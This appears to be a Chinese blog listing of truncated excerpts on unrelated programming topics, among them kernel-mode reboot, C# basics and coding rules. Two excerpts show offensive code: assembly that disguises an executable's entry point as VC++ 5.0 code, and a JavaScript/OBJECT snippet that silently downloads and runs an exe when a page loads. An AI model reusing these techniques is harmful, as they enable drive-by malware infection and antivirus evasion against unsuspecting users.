• 如何从内核态重启系统呢,一个经常被推荐的简单的解决办法是 用驱动来通知一个用户态的服务并调用ExitWindowsEx函数

      但是如果你非要想在内核态做这件事呢?那么你可以使用HalReturnToFirmware或NtShutdownSystem函数

      但是这些函数都是无文档的,如果你使用它们,你的驱动可能无法通过WHQL认证

      这里提供一种简单的、完全有文档的方法:

      使用下面的函数...
  •    网页文件全盘感染病毒 利用Microsoft IE浏览器 screen[""]远程拒绝服务漏洞受影响系统:Microsoft Internet Explorer 8 beta 2Microsoft Internet Explorer 8 beta 1Microsoft Internet Explorer 7.0Microsof ...

     

    网页文件全盘感染病毒 利用Microsoft IE浏览器 screen["...
  • 1.伪装vc++5.0代码:
    PUSH EBP  
    MOV EBP,ESP  
    PUSH -1  
    push 415448   -\___
    PUSH 4021A8   -/   在这段代码中类似这样的操作数可以乱填  
    MOV EAX,DWORD PTR FS:[0]  
    PUSH EAX  
    MOV DWORD PTR FS:[0],ESP  
    ADD ESP,-6C  
    PUSH EBX  
    PUSH ESI  
    PUSH EDI  
    ADD BYTE PTR DS:[EAX],AL   /这条指令可以不要!
    jmp 原入口地址

    ************************************************************************
  • 1.它应该算是html带动同路径下的一个exe的文件的主页了,也就是当浏览器浏览这个页面的时候,一个exe的文件就在后台自动下载并执行了,可以做一个test.html的文件在桌面,内容如下:
    <script language="javascript">
    run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0 TYPE=\"application/x-oleobject\""
    run_exe+="CODEBASE=\"test.exe#version=1,1,1,1\">"
    run_exe+="<PARAM NAME=\"_Version\" value=\"65536\">"
    run_exe+="</OBJECT>"
  • 游戏声音:
    音效在游戏里是非常重要的
    这里介绍用pc喇叭产生的最简单的声音,以后在给大家介绍如何驱动声卡使音箱发声
    c语言函数库提供了两个声音函数 sound(),nosound()和延迟函数delay()
    sound()函数中频率参数的单位是(Hz),根据测试,调用参数18Hz以上的sound()
    函数可以被人耳识别,以下是一个利用循环改变声音频率的例子,发出来的生音频率从低到高
    代码如下:
    #include <dos.h>

  • 1. 避免将多个类放在一个文件里面2. 一个文件应该只有一个命名空间,避免将多个命名空间放在同一个文件里面。
    3. 一个文件最好不要超过500行的代码(不包括机器产生的代码)。
    4. 一个方法的代码长度最好不要超过25行。
    5. 避免方法中有超过5个参数的情况。使用结构来传递多个参数。
    6. 每行代码不要超过80个字符。
    7. 不要手工的修改机器产生的代码。
  • C#读作“C sharp”,它是Microsoft开发的一种新语言,结合了C/C++的强大功能和Visual Basic的易用性。从最初的语言规范即可看出,C#无论在语法、丰富的Web开发支持还是自动化的内存管理上都和Java非常相似。因此,如果你曾经用过C++或者Java,再来学习C#应该是相当轻松的。
  • 在这最后一个例子中,我们来看看C#的抽象和多态性。首先我们来定义一下这两个新的术语。抽象(Abstract)通过从多个对象提取出公共部分并把它们并入单独的抽象类中实现。在本例中我们将创建一个抽象类Shape(形状)。每一个形状都拥有返回其颜色的方法,不论是正方形还是圆形、长方形,返回颜色的方法总是相同的,因此这个方法可以提取出来放入父类Shape。这样,如果我们有10个不同的形状需要有返回颜色的方法,现在只需在父类中创建一个方法。可以看到使用抽象使得代码更加简短。